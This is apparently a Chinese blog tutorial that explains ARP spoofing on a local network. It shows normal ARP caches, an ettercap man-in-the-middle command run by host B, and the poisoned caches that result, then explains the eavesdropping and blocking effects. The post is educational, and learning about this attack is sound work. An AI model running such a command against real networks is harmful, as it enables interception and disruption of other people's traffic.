欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

arp欺骗

程序员文章站 2022-05-16 21:26:10
...

局域网中是通过mac地址进行通信的。
现有一网络拓扑如下:
arp欺骗
主机A想要向因特网上发送一个数据,查到自己的网关地址是192.168.2.1,就在局域网中广播询问192.168.2.1的mac地址是多少,正常情况下路由器收到这条广播包,发现自己是192.168.2.1,就把自己的mac地址回复给主机A,主机A拿到mac地址后,就能向网关发送数据包了;数据包返回原理相同。
主机A中正常的arp缓存:

C:\Users\Li_Yo>arp -a
接口: 192.168.2.195 --- 0x17
  Internet 地址         物理地址              类型
  192.168.2.1           fe-d4-d0-1c-11-3c     动态
  192.168.2.100         00-0c-29-b4-bc-0e     动态
  192.168.2.255         ff-ff-ff-ff-ff-ff     静态
  224.0.0.2             01-00-5e-00-00-02     静态
  224.0.0.22            01-00-5e-00-00-16     静态
  224.0.0.251           01-00-5e-00-00-fb     静态
  224.0.0.252           01-00-5e-00-00-fc     静态
  239.255.255.250       01-00-5e-7f-ff-fa     静态
  255.255.255.255       ff-ff-ff-ff-ff-ff     静态

192.168.2.1对应的mac是正确的路由器的mac地址。
路由器中正常的arp缓存:

aaa@qq.com:~# arp | grep 192.168.2.195
192.168.2.195 20:1a:06:30:bf:6f

也是正常的

arp欺骗:
现在主机B想要对主机A和路由器进行arp欺骗,主机B执行了下面这条指令

ettercap -i eth0 -Tq -M arp:remote /192.168.2.195// /192.168.2.1//

现在查看下主机A的arp缓存:

C:\Users\Li_Yo>arp -a
接口: 192.168.2.195 --- 0x17
  Internet 地址         物理地址              类型
  192.168.2.1           00-0c-29-b4-bc-0e     动态
  192.168.2.100         00-0c-29-b4-bc-0e     动态
  192.168.2.255         ff-ff-ff-ff-ff-ff     静态
  224.0.0.2             01-00-5e-00-00-02     静态
  224.0.0.22            01-00-5e-00-00-16     静态
  224.0.0.251           01-00-5e-00-00-fb     静态
  224.0.0.252           01-00-5e-00-00-fc     静态
  239.255.255.250       01-00-5e-7f-ff-fa     静态
  255.255.255.255       ff-ff-ff-ff-ff-ff     静态

缓存中192.168.2.1对应的mac已经变成主机B的mac了

再看下路由器中的arp缓存:

aaa@qq.com:~# arp | grep 192.168.2.195
192.168.2.195 00:0c:29:b4:bc:0e

主机A的ip192.168.2.195对应的mac现在也变成主机B的mac地址了。

网络拓扑就变成下面这样了
arp欺骗
主机A发往路由器的数据包全部发给了主机B,路由器回给主机A的数据包也全部回给了主机B。如果主机B做了数据包转发的功能,那么主机A和路由器的通信是正常的,只不过数据全被主机B监听了。如果主机B没有做数据包转发的功能,那么主机A和路由器的通信就受阻了。
以上就是arp欺骗的简单介绍。